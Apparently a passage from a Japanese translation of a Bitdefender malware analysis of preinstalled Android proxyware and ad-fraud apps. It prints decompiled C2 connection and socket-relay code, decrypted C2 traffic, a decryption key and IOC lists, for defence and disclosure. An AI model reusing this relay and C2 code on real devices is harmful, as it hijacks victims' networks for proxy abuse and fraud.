// h/g.java — the fingerprint reported:
Build.MODEL +"#*#"+ Build.VERSION.RELEASE +"#*#"+ Build.VERSION.SDK_INT +"#*#"+ Build.ID +"#*#"+ Build.BRAND;
コマンドチャネル:制御ホストへの生のTCPソケット(HTTPではない)
// h/k.java
Socket socket = new Socket();
socket.connect(new InetSocketAddress(split[0], Integer.parseInt(split[1])), 40000);
// control host built in h/i.java:
String.format("%s.%s.%s:6000", productId, "apple", domainPool[nextInt]); // raw TCP :6000
domainPool = {"0aa0cf0637d66c0d[.]com","aa86a52a98162b7d[.]com","442fe7151fb1e9b5[.]com","v46wd6uramzkmeeo[.]in"};
コマンドループ:C2がターゲットのリストを送り込み、端末は各ターゲットへのトンネルを開き、スケジュールに従って再ポーリングします。
// h/i.java
JSONObject o = new JSONObject(str);
JSONArray s = o.getJSONArray("s"); // "s" = array of "host,port" targets
for (int i = 0; i < s.length(); i++) {
String[] split = ((String) s.get(i)).split(","); // "host,port"
i.this.t(split[0], split[1], optInt3, optInt2, optString); // spawn a tunnel per target
}
int t = o.optInt("t", 0);
if (t > 0) f191d.scheduleAtFixedRate(new a(), t, t, TimeUnit.MINUTES); // periodic re-poll
中継ポンプ:バイト列がC2側とターゲット(プロキシの出口)の間で、そのまま受け渡されます。
// h/m.java — d.run() opens two sockets and wires both directions:
socket.connect(new InetSocketAddress(nVar.f231c, nVar.f232d), 5000); // C2 / relay coordinator
socket2.connect(mVar.f(str, str2, i), 5000); // the target host:port
execute(new a(socket, socket2)); execute(new b(socket2, socket)); // full-duplex relay
public final void m(Socket socket, Socket socket2) { // the byte pump
h.d b2 = l.b(l.g(socket)); // source
h.c a2 = l.a(l.d(socket2)); // sink
while (!b2.e()) {
long d2 = b2.d(bVar, 8192L); // read up to 8KB from one socket
if (d2 > 0) { a2.b(bVar, d2); a2.flush(); } // write straight to the other
}
}
登録 → コマンド → トンネル → 中継(h/i、h/k、h/m、h/g)。中央のコントローラー、UUID/プロダクトIDで管理される登録済みノード、リモートから供給されるhost:portのターゲット、双方向のバイト中継という構成です。被害者の通信環境がレジデンシャルプロキシの出口ノードとして収益化され、ローカルネットワークを含む任意のホストに到達できます。
動的検証により、制御インフラが稼働中であることが確認されました。実行すると、クライアントはワイルドカードDNS経由で制御ホストを名前解決し、ポート6000でTCP接続を確立して登録レコードを送信します。制御ホストは、試行のたびに4つのドメイン間でローテーションします。
control host : OeawmFEDPClEAiH9.apple.0aa0cf0637d66c0d[.]com:6000 -> 85.17.70.38:6000
registration : {"os":"android","uuid":"<node>","is":"OeawmFEDPClEAiH9","v":"v1.0.6",
"inf":"<device-fingerprint>","n":"t"}
response : (empty — no relay targets returned to a freshly-enrolled node)
rotation : next attempt -> OeawmFEDPClEAiH9.apple.442fe7151fb1e9b5[.]com:6000
制御サーバー85.17.70.38:6000(ワイルドカードDNSのドメイン経由で到達)は稼働しており、ノードの登録を受け付けます。今回の観測では、登録直後のノードに中継ターゲットは返されず、トラフィックの中継は行われませんでした。
2つ目の同梱パートナー(com.mobile.applock.wt)は、同じアイコンなしの偽アプリロックのシェルに、別のペイロードを載せたものです。リモートのDEX広告モジュールをリフレクションで読み込む広告詐欺モジュール(com.ctr.cbd)です。このためエネーブラーは、C2がどのプラグインを配信するかによって、プロキシウェアと広告詐欺ドロッパーの両方を届けます。
C2インフラ
api.weatherlive.worldへの2つのHTTPSチャネルは、どちらもAES暗号化され、リクエストにはHmacMD5署名が付いています。コマンドチャネル(getConfigs)は、復号すると端末フィンガープリントのリクエストと、モジュール制御のレスポンスになります。
POST https://api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs
headers: App-Id: 20240425 | api-id | nonce | timestamp | signature(HmacMD5)
device SENDS (AES/ECB/PKCS5, decrypted):
{"imei":..,"androidId":..,"mac":..,"simCode":"CN","channelId":"20240425","timezone":..}
C2 RETURNS (AES/CBC/PKCS5, decrypted) — remote module control plane:
{"list":[{"sdkName":"wz","status":1,"updateStatus":1,"version":20311},
{"sdkName":"earn",...,"version":5},
{"sdkName":"bl",...,"version":10014}]}
per-module: {"size":"20311","iconDesc":"1782294f...","warningIcon":"https://oss.showtimetool[.]com/...png"}
getConfigsの制御チャネルは、どのプラグインを、どのバージョンで実行し、どこから取得するか(iconDescのmd5をキーとするwarningIcon URL)を指示します。テレメトリビーコンの/odborwer_dot/cmは、固定の応答{“a”:0}しか返しません。
モジュールのダウンロードURL(復号した設定から取得。CDN上では.pngとして配信):
- wz (v20311) hxxps://oss[.]showtimetool[.]com/ssc/2026/08-13/[REDACTED].png
- kwlib (v100007) hxxps://oss[.]showtimetool[.]com/ssc/2026/07-04/[REDACTED].png
- gogo (v10014) hxxps://oss[.]showtimetool[.]com/ssc/2026/03-09/[REDACTED].png
- earn (v5) hxxps://oss[.]showtimetool[.]com/ssc/2025/12-07/[REDACTED].png
マニフェストの類似性によるクエリで、他にも偽システムアプリが見つかりました。AOSPを装うアプリはマニフェストの構造が似ているため、候補はマニフェストのスコアではなく、ファミリー特有のマーカーで確定しました。ネイティブコア(libeasy.so、またはその名称変更版)の存在、RC4で投下されるフレームワークの名前空間cn.kw.lib、C2のapi.weatherlive.world、ユーザー補助のフック、そして特徴的なversionCode 900000以上の体系です。
エネーブラーは単一のパッケージではありません。同じ中核部分が、複数の「システム」名で出荷されています。
| サンプル(MD5) | パッケージ(versionCode) | 確認されたマーカー | 判定 |
|---|---|---|---|
b862681953e945439167a736ba4cd41b |
com.android.system.lite(900000) |
libeasy.so、api.weatherlive.world、MonitorAccessibility |
同一ファミリー:このエネーブラーの兄弟ビルドで、異なる署名証明書を使用 |
d4ceb05682ecd60f4ebb4e76e02fcf7d |
com.android.sys.prot(900014) |
cn.kw.lib、api.weatherlive.world、MonitorAccessibility。ネイティブコアはlibunionprt.soに名称変更 |
同一ファミリー:亜種のエネーブラー |
2b784622422f4280e0b3e38b30dd87bc |
com.android.sys.gmsprot(100000) |
libeasy.so、cn.kw.lib、api.weatherlive.world |
同一ファミリー:亜種のエネーブラー |
バイナリ分析により確認。com.android.system.lite / com.android.sys.*のクラスター(versionCode 900000以上、「system」/「sys」という命名)は、libeasy / cn.kw.libのコアとweatherliveのC2を共有する、一つのエネーブラーファミリーです。
なぜShenzhen Zediel Co., Ltd.なのか
エネーブラーのcom.android.system.liteは、プラットフォームキーの証明書0105bc4c…(DN CN=ZED, O=ZED, L=ShenZhen, C=CN, [email protected])で署名されています。これは、IEEEのMACアドレス割り当てを保有する、深センの実在のAndroid OEM/タブレットメーカーShenzhen Zediel Co., Ltd.に対応します。
MAC OUI A0:53:94(MA-Lブロック、2021-11-03登録)→ 端末レベルのIOC。Wi-FiのMACアドレスがA0:53:94で始まる端末は、Zedielのビルドです。これを使えば、インストールされているペイロードに関係なく、テレメトリ上で影響を受けたすべての端末を探し出し、実際の規模を推定できます。
テレメトリで見られる端末モデルも、これを独立して裏付けています。影響を受けた端末が報告するモデル文字列の大半は、低価格のホワイトレーベル端末を指しており、2つのパターンに分かれます。
1つ目は、地域コード付きのファームウェア文字列です。_EEAや_USといった接尾辞は、無名のODM端末に典型的な地域ビルドの印で、生のボードサポートパッケージ名も併せて見られます。ボード名が製品モデルとして現れるのは、ユーザーがインストールしたアプリの仕業ではありません。コンポーネントがベンダーのファームウェアイメージの中に収められている場合に起こることです。
2つ目は、フラッグシップ機の偽造品の命名です。ブランドのない端末が、Samsungのフラッグシップを模倣して名乗っています。さらに本物の低価格タフネスブランドもあり、そのうち2つは実在のベンダーに対応しています。
|
パターン |
確認されたモデル文字列 |
|
地域コード付きODMファームウェアビルド |
J10_EEA, A9_EEA, T13_EEA, Q6_EEA |
|
ボードサポートパッケージ名 |
k62v1_64_bsp (MediaTek MT6762) |
|
フラッグシップ偽造品の命名 |
S25 Ultra, S24 Ultra, S26 Ultra |
|
低価格タフネスブランド |
S200 X (Doogee), KINGKONG X (Cubot) |
テレメトリから得られた代表的な端末モデル文字列をパターン別にまとめたもの。地域コードとボード名はファームウェアレベルでの配信を示し、フラッグシップ偽造品の命名は、流通するマーケットプレイスのセグメントを示します。
この一覧は、標的のリストではなく、流通メカニズムの証拠として読むのが適切です。地域コード付きのファームウェア文字列とボードレベルのビルド名は、ペイロードがROM内に存在することを示しています。
フラッグシップ偽造品の名前や低価格タフネスブランドは、オンラインマーケットプレイスを通じて世界中で販売されるODMのエコシステムを指しています。個々のモデル名の重要性は、それらが総体として示すこと、つまりファームウェアに仕込まれて出荷されたという事実に比べれば、はるかに小さなものです。
重要な注意:上記の分析は、エネーブラーのコンポーネントに署名したプラットフォームキーに基づいて、ファームウェア/端末のサプライチェーンを帰属させたものです。この技術的な帰属は、Shenzhen Zedielがマルウェアを作成・配布した、あるいはその存在を認識していたことの証明にはなりません。ペイロードの運営者(後述)は別のアクターとして追跡しており、証明書の保有者とマルウェアが最終的に組み込まれる地点の間には、複数の仲介者が存在する可能性があります。
マルウェア運営者の系譜:Joker → Phantom/Click → 今回のクラスター
Dr.WebのAndroid.Phantom.5のエントリには、私たちが確認したIOCそのものであるcgb.jingongbuxiao[.]comと5.ahd187[.]com/thirdsdk/flowcashpack/が掲載されています。また、zhuifengzhe[.]topにも言及しており、これはAndroid.Joker.310.origin(2021年)(プレミアムSMS契約詐欺+リモートコード読み込み)で使われたドメインです。これにより、複数年にわたる運営者のタイムラインがつながります。
|
時期 |
ファミリー(Dr.Web) |
挙動 |
共有インフラ |
|
2021 |
|
プレミアムSMS詐欺+リモートDEX読み込み |
|
|
2025 |
|
バイト配列復号型ドロッパー → JS |
|
|
2024〜2025 |
Midnight Mimosa |
プリインストールのエネーブラー+ |
プロキシウェアのC2(EnLoaderLib/dykr) |
Google Play上の同じコード
このキャンペーンは、プリインストールのファームウェアだけにとどまりません。Google Playで公開されている13本のアプリが、投下されるカバーアプリと同じファミリーのマーカーを備えていることが判明しました。いずれもPlay自身が配信したビルドです。
|
# |
パッケージ |
|
1 |
com.audify.editor.wavrge |
|
2 |
appicon.diy.tools.prop |
|
3 |
com.audify.editor.pro |
|
4 |
com.prorestore.qr |
|
5 |
com.message.recovery.prorestore |
|
6 |
com.go.weather.mot |
|
7 |
com.cool.weather.yl |
|
8 |
com.dmstudio.weather |
|
9 |
com.dl.guard.lock |
|
10 |
picturetranslate.extractor.text.lite |
|
11 |
com.notemaster.record.mark |
|
12 |
com.arabmusic.tap.aghani_tamerhosny |
|
13 |
org.life.goal.tools |
広告詐欺ファミリーのマーカーを持つ、Google Play公開のアプリ。
これらは正規のPlayビルドです。先に述べた、偽装されたインストールを見抜く決め手となった、Playの署名ブロックを備えています。出自は本物です。つまりこれらのアプリはPlayの審査を通過し、天気アプリやQRスキャナーを探していたユーザーにGoogleが配信したことになります。偽造ハードウェアは関係ありません。
署名の識別情報は意図的にローテーションされています。13本のパッケージは13種類の異なる署名証明書を持ち、少なくとも2つの開発者アカウント(fivedevとCPS Developer)にまたがっています。残りは特定できていません。
これらを結びつけているのは、証明書ではなく共有コードです。パッケージごとに署名の識別情報を変えるアクターは、そのうちのどれかがいずれ摘発されることを織り込んでいます。
これらのアプリは機能を提供する一方、アプリの外でも広告を読み込んで表示し、ユーザーが端末を使っていないときでさえ表示することがあります。
以下は、同じサーバーおよび組み込みマルウェアと通信する、Google Playストア掲載アプリの一例です。

このキャンペーンには、2つの独立した配信チャネルがあります。1つは安価なハードウェアのファームウェアに紛れ込み、何もインストールを選んでいないユーザーに届きます。もう1つは公式ストアを経由し、自らの意思で選んだユーザーに届きます。どちらも同じインフラに対して同じ広告詐欺コードを実行しており、片方のチャネルを断っても、もう片方は残ります。
結論
プリインストールのマルウェアは、別次元の脅威です。ユーザー側の防御策はすべて、インストール時に所有者が関与していることを前提にしています。インストールのプロンプト、ストアの審査、Play Protect、そして後からアンインストールできることです。
INSTALL_PACKAGESとGRANT_RUNTIME_PERMISSIONSを保持するプラットフォーム署名付きのシステムアプリは、所有者をこの流れから完全に排除します。さらにこのキャンペーンは、最後に残る自動的な守り手も停止させます。侵害は、端末の電源が初めて入る前に完了しています。
多層構造そのものが防御になっています。APKは空のシェルです。ネイティブライブラリは、暗号化されたブロブに対するトランポリンです。フレームワークの文字列は暗号化されています。プラグインは拡張子.oを装ったJARで、ペイロードは.pngとして配信されるAPKです。モジュールはリモートサーバーから供給されるため、静的に調べたサンプルには、有効なペイロードがまったく含まれていないことも少なくありません。検知するには、パッケージングを見透かすか、挙動を監視する必要があります。
運営者は一つで、名前は多数です。パッケージ名、署名証明書、名称変更されたネイティブライブラリがローテーションされるため、パッケージ名のブロックリストはたちまち役に立たなくなります。検知は、不変の中核であるlibeasy.soとcn.kw.lib.hex、そしてC2のapi.weatherlive.worldを軸にすべきです。
対処をアンインストールに頼ることはできません。根幹のコンポーネントがシステムパーティションに入っているため、影響を受けた所有者は通常の方法では削除できないのです。端末をクリーンにするには、ファームウェアレベルのクリーンアップか、ADB経由でのコンポーネントの無効化が必要です。ただし、これらの端末を所有するほとんどの人にとって、どちらも現実的ではありません。恒久的な解決の鍵を握るのは、影響を受けたファームウェアを出荷・販売するベンダーとマーケットプレイスです。
侵害指標(IOC)
|
種別 |
指標 |
内容 |
|
ホスト |
api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs |
AES/HmacMD5 |
|
ホスト |
api.weatherlive[.]world/odborwer_dot/cm |
テレメトリビーコン |
|
ホスト |
oss.showtimetool[.]com |
モジュール/アセット用CDN |
|
ホスト |
39.96.8.180:9008/ssc/rprt/bug |
DX/S1 |
|
ホスト |
120.78.215.151:80/api/bugLog |
埋め込みフレームワークの |
|
ホスト |
85.17.70.38:6000 |
EnLoaderLibプロキシウェアC2(applock.en)。下記のドメイン経由で到達 |
|
ホスト |
*.apple.{0aa0cf0637d66c0d[.]com, aa86a52a98162b7d[.]com, |
プロキシウェアの制御ホスト。パターンは {productId}.apple.<domain>:6000 |
|
パッケージ |
com.android.system.lite |
エネーブラー |
|
パッケージ |
com.mobile.applock.en |
投下されるgogoドロッパー(プロキシウェア/広告詐欺) |
|
ファイル |
libeasy.so |
ネイティブコア。cn.kw.lib.hexをRC4で投下 |
|
暗号 |
AES-128-CFB |
hexフレームワークの文字列 |
|
暗号 |
AES-128-CFB |
エネーブラーの文字列 |
|
暗号 |
AES/CFB key=MD5(“ZHhAIVFAVyNF”) (dx@!Q@W#E) |
ステージ3プラグインの文字列 |
|
マーカー |
インストーラー名がcom.android.vendingだが、Playフロスティング署名がない |
偽装されたインストール元、偽造されたPlayの出自 |
サンプル全体(120件のMD5ハッシュ)
|
MD5 |
パッケージ |
|
05ae89e761a890fa24f80f4be7263651 |
com.android.browser |
|
1da42505f1c83959c7f901f5139a158e |
com.android.browser |
|
a147cd8f72aadfcf78f7723db6813e86 |
com.android.browser |
|
f456f0c6b89bd3d5124699d43971d094 |
com.android.browser |
|
2c77653b889dfccd649b82446f8c0d1b |
com.android.deskclock |
|
5d29e9b24708c3ec36d1d59036124838 |
com.android.deskclock |
|
998e9010e5dfc4e4645f5572cbbe5b53 |
com.android.deskclock |
|
b3a4405d1b8d43545d07b10581008d32 |
com.android.deskclock |
|
0377ca97ac0ca35f9134052fede67a81 |
com.android.gallery3d |
|
0b0d8e995e6ff24d4e9d00417446c25e |
com.android.gallery3d |
|
1414d4ef2d1191080abc59a407dcb6c5 |
com.android.gallery3d |
|
345057421c7d9ac2b671c47449f35030 |
com.android.gallery3d |
|
36deebfcda4012d18706cd170c1edf1f |
com.android.gallery3d |
|
37f18a20b9cf32e6f07450e903eaad7c |
com.android.gallery3d |
|
4507363415e7dc6d2cab14eeed137f6c |
com.android.gallery3d |
|
512a6db4a22244272826f39da020fb44 |
com.android.gallery3d |
|
5b3a49938f455d1197736971c4c07228 |
com.android.gallery3d |
|
6aca76699ec0bb8e51372d5c68c8359b |
com.android.gallery3d |
|
815b910f1efc95f38ba0c5b12c4f2129 |
com.android.gallery3d |
|
c75ec7f3bcbc879aae9a21ad544d3232 |
com.android.gallery3d |
|
d9fc6b2cd5eaa3929207f1029663d947 |
com.android.gallery3d |
|
e51c11442a529dcd06dc7c8e45974ec2 |
com.android.gallery3d |
|
e9b91e1d94bb3ff9a1c00b1c13eb7960 |
com.android.gallery3d |
|
be22c91b4578ac2357a16133615df335 |
com.android.settings |
|
d5d88214170875386ab855172f881e51 |
com.android.sys.bcprot |
|
dce5b0dc0e7d7059b5ab8384a7c24ec4 |
com.android.sys.bcprot |
|
61aac6a98abd6dcff0dc41bb88159786 |
com.android.sys.dts |
|
2b784622422f4280e0b3e38b30dd87bc |
com.android.sys.gmsprot |
|
2b7f1a7d5f5515c05d0c8e3857155ae2 |
com.android.sys.prot |
|
3d3358b1057b1bfbd7e60577d8a31e0c |
com.android.sys.prot |
|
7400c34f7c6f866499029f5e759f58bd |
com.android.sys.prot |
|
d4ceb05682ecd60f4ebb4e76e02fcf7d |
com.android.sys.prot |
|
60bc23d3d453f258e2c4ca421cd086a9 |
com.android.system.lite |
|
b862681953e945439167a736ba4cd41b |
com.android.system.lite |
|
ed1a6bed83899952b464c27aef9752cc |
com.android.weapps |
|
0903d7fd3e1d4a599a7eb3c5d356779b |
com.android.weiapps |
|
a57a1ba15364dfb35d334f644d7049e8 |
com.mb.applock.a02 |
|
cde0490e11db8ad54737c1df59ec658b |
com.mb.applock.ea |
|
08d231c6a5303e543eb60d4181f6a4ea |
com.mobile.applock.en |
|
7f7747575980098bdc98e7b7aa362697 |
com.mobile.applock.en |
|
d3faec4f013c4a1e84a1d681448312c0 |
com.mobile.applock.en |
|
e75e183027bf897eda6447366c7acd01 |
com.mobile.applock.tg |
|
20108557cacd24263e7e611afc327801 |
com.mobile.applock.wg |
|
aac942aaf6ec0773cbac87fde4a6b284 |
com.mobile.applock.wg |
|
cf20de9d9ddc952bb2265002d26a916f |
com.mobile.applock.wg |
|
f602230f54507cbddf5ef3014737d768 |
com.mobile.applock.wg |
|
079298a7a506b376def4f4ff9a250672 |
com.mobile.applock.wt |
|
20cefb2c667f945d482daded7e698eea |
com.mobile.applock.wt |
|
254bc5f6f81de1f3c47534e6febaf023 |
com.mobile.applock.wt |
|
31b3280f1c0836c39c470932cf6c3e6f |
com.mobile.applock.wt |
|
3b35d3c5667136134b20a8411803c97d |
com.mobile.applock.wt |
|
3bc159537c909fa86bcc55eda127b5aa |
com.mobile.applock.wt |
|
42a9f64e75911c167ec7a163e8b24920 |
com.mobile.applock.wt |
|
4a171f62d1bab01827b06ae73d4caafa |
com.mobile.applock.wt |
|
66c6512b9a73425aba40c8bfa95d23a0 |
com.mobile.applock.wt |
|
6df909898f5f1394e78508d1152fab38 |
com.mobile.applock.wt |
|
6ee2be3e5558085b532dacc8db61f3e9 |
com.mobile.applock.wt |
|
6eea0568d5cc776ae03e09149cec3cd8 |
com.mobile.applock.wt |
|
765d3ce85a6393d05973c4cfa7738116 |
com.mobile.applock.wt |
|
90e0d27d808105167fdaa3a22b918217 |
com.mobile.applock.wt |
|
9e7b34e63d8d38e37667f88a945ae69a |
com.mobile.applock.wt |
|
a02f28387527abe90d73d2879f671972 |
com.mobile.applock.wt |
|
abe12db77a62ecb99d6ab5dc4fff18c7 |
com.mobile.applock.wt |
|
de66cac88f156c3227749e03bdf7cf54 |
com.mobile.applock.wt |
|
e6650dc6721aaa27f8a289ff92e613ff |
com.mobile.applock.wt |
|
e7c56b4f580da53cd0e4f11d1a11e402 |
com.mobile.applock.wt |
|
2de346602433cdd1668f36b2e9db0be1 |
com.mobile.applock.xk1 |
|
af16072864ae0f9d755f8cf00fded359 |
appicon.diy.tools.prop |
|
e974cf4cc5d55cddc04f026dd3ea72b8 |
appicon.diy.tools.prop |
|
250205ee4b8de59e60c745856f439608 |
com.android.non.szcz |
|
af7f1eef22bf5ee3d0a394f53ba7e1b8 |
com.arabmusic.tap.aghani_tamerhosny |
|
7322d8a65a56a7ab09f4d526cb343e3d |
com.awht.zfip.zfyg |
|
0b8d3cd264c191f4884a25d0cc5318b5 |
com.cool.weather.yl |
|
33b2d3ec9a35cfb0b5a5d7b24ce4140e |
com.cool.weather.yl |
|
3bb270d4927e2a8385793d9084a92fd3 |
com.cool.weather.yl |
|
4e46549122c0236307c5eef8891466f5 |
com.cool.weather.yl |
|
642d84ed5660407b972f1df642acb192 |
com.cool.weather.yl |
|
9a3d04aa36654b5c4b21edd22e46f92d |
com.cool.weather.yl |
|
b7d0d5ae09b0d2d2f999c1087c450456 |
com.cool.weather.yl |
|
cdfcc848e16660d607aba6ecf24567f4 |
com.cool.weather.yl |
|
f0b7b1c940ebcee97eb68f528682fc50 |
com.cool.weather.yl |
|
1150da1af88729e54a34b8da5a2741c7 |
com.dl.guard.lock |
|
36f9e8cf47a28f9803fba427cf02a25c |
com.dl.guard.lock |
|
6739fe083cfa8dec9b4f989ccba0e99e |
com.dl.guard.lock |
|
ca7e2d265fc35aede432c4636a2cf4cb |
com.dl.guard.lock |
|
fcb9f38cc687fc8a4637e0acdf91ab66 |
com.dl.guard.lock |
|
c55c9d7e12cc273b812ceffca8f62d4b |
com.energy.appstore |
|
9a46098de785ae732e5fced55a2f3063 |
com.fb.w.weather |
|
d145b14b9cc15799485f2592b2c16d9a |
com.fb.w.weather |
|
0a26a9d5f7ab91cb5eed852cf83ef078 |
com.fe2bu1.wh |
|
294ab3f586d76772ae89add417cf6324 |
com.fe2bu1.wh |
|
a13af0174bc211709e8b73bf60492a17 |
com.fe2bu1.wh |
|
b974ef4106af6b932df352563a9b8b3c |
com.fe2bu1.wh |
|
e9ec6d7b50c1e54cd523283b9de55e10 |
com.fe2bu1.wh |
|
5400ffac371c5e5c9b7f3705ce9faca5 |
com.message.recovery.prorestore |
|
92f2fd8bcccc8ec4ffa64c7f6b3b9b8d |
com.message.recovery.prorestore |
|
ab8d6be686ca9413e27a11e85f9cef1a |
com.message.recovery.prorestore |
|
879168159c155758dbfd7a76e8f21548 |
com.notemaster.record.mark |
|
b6c5f7dfaf9d47cd67380a48df5e1731 |
com.notemaster.record.mark |
|
cb19dbf279a3488aec76c17e8e122c14 |
com.notemaster.record.mark |
|
fc812444baa071f5141ddad812d673de |
com.notemaster.record.mark |
|
4f7d3c5859100d65ff02449884841b9c |
com.tst.blank |
|
50e9cdc3ed145bbc688356eda07f8eb3 |
com.tst.blank |
|
9f1e2249003ab22cf8a38048e0ff6f6c |
com.tst.blank |
|
e39bddf592016ad6d0784770df3e2ffe |
com.yun.wth.er |
|
7469c9c06e5f324ca608e0140156bbad |
org.life.goal.tools |
|
4521a5bbe0f33a15da86bd80ff5d6d9c |
picturetranslate.extractor.text.lite |
|
8ec360829f4f7ae8dcae47c02b996762 |
picturetranslate.extractor.text.lite |
|
d56158a2cc8d13778df850907733b2c4 |
picturetranslate.extractor.text.lite |
|
fac6548a4a7a88156468b809c4f877f5 |
com.audify.editor.wavrge |
|
ac8957a474f8aa812c7b233aafde4723 |
appicon.diy.tools.prop |
|
cf4f24fdd283f80313565b08fea9d06d |
com.audify.editor.pro |
|
3c098465af131141996ff840bd34e791 |
com.prorestore.qr |
|
387f7af167530486adcf3d8546063462 |
com.go.weather.mot |
|
ee4e778e53ce4d4339d7c7888d06384d |
com.dmstudio.weather |
|
c8ea2a7c1f52c4c2474475c28373ee27 |
com.dl.guard.lock |
|
836739fe7196437d8e998245b6f2b3b4 |
picturetranslate.extractor.text.lite |
|
d6ba4044f9d57f7e86d83187982ed593 |
com.notemaster.record.mark |
|
838dc8fcde1b28171e404ece1cfcde44 |
com.arabmusic.tap.aghani_tamerhosny |
|
da67e37be01c20566990152ecfb14ed1 |
org.life.goal.tools |
免責事項:本記事は、Bitdefenderが継続的に取り組むセキュリティ研究の一環として、情報提供および教育目的でのみ公開するものです。ここに示す情報は、独自の検知技術と公開情報を用いてBitdefender Labsが実施した技術調査に基づいています。Bitdefenderは、本記事に記載された活動について法的な判断を行うものではなく、名前の挙がった団体が違法行為に関与したと主張するものでもありません。特定の企業やブランドに関連する証明書、パッケージ名、インフラの特定は、技術的な観測結果を反映したものにすぎず、当該関係者がマルウェアの配布を作成、配布、または認識しながら助長したとの主張を構成するものではありません。影響を受けたと考える読者は、ご自身の判断で、適切な当局や法律顧問に相談してください。本記事に記載されたドメイン名、URL、技術的指標は、消費者とセキュリティ専門家が潜在的に有害なインフラを識別する目的でのみ提供しています。言及されたすべての商標は、それぞれの所有者に帰属します。Bitdefenderは、本記事の情報に基づいて取られた行動について、一切の責任を負いません。
翻訳元: https://www.bitdefender.com/en-us/blog/labs/midnight-mimosa-malware